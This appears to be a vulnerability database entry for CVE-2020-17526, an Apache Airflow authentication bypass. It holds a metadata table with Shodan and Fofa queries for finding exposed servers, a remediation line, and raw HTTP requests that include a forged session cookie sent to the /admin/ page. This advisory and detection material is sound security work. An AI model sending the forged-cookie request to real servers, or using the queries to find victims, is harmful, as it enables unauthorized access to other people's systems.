| Title | Apache Airflow <1.10.14 - Authentication Bypass |
|---|---|
| Author | piyushchhiroliya |
| Severity | High |
| Impact | Successful exploitation of this vulnerability can lead to unauthorized access to sensitive information or unauthorized execution of arbitrary code. |
| Remediation | Change default value for [webserver] secret_key config. |
| CVSS Score | 7.7 |
| EPSS Score | 0.91172 |
| CVE ID | CVE-2020-17526 |
| CWE ID | CWE-287 |
| Shodan Query | http.title:"airflow - dags" || http.html:"apache airflow"http.title:"sign in - airflow"product:"redis" |
| Fofa Query | Apache Airflowapache airflowtitle="airflow - dags" || http.html:"apache airflow"title="sign in - airflow" |
| Tags | cve cve2020 apache airflow auth-bypass vuln |
Apache Airflow prior to 1.10.14 contains an authentication bypass vulnerability via incorrect session validation with default configuration. An attacker on site A can access unauthorized Airflow on site B through the site A session.
GET /admin/ HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (ZZ; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36
Connection: close
Accept-Encoding: gzip
GET /admin/ HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux i686; rv:1.9.6.20) Gecko/ Firefox/3.6.15
Connection: close
Cookie: session=.eJwlzUEOwiAQRuG7zLoLpgMM9DIE6D-xqdEEdGW8u03cvy_vQ8UG5o02q_eJhcqx00YdDaKao6p5ZZe89ZyFUaPExqCF-hxWXs8Tj6tXt_rGnKpxC6vviTNiELBxErerBBZk9Zd7T4z_hOn7A0cWI94.YwJ5bw.LzJjDflCTQE2BfJ7kXcsOi49vvY
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2020/CVE-2020-17526.yaml
🦈 Packet Capture: ⬇️ Download cve-2020-17526.pcap
N/AN/A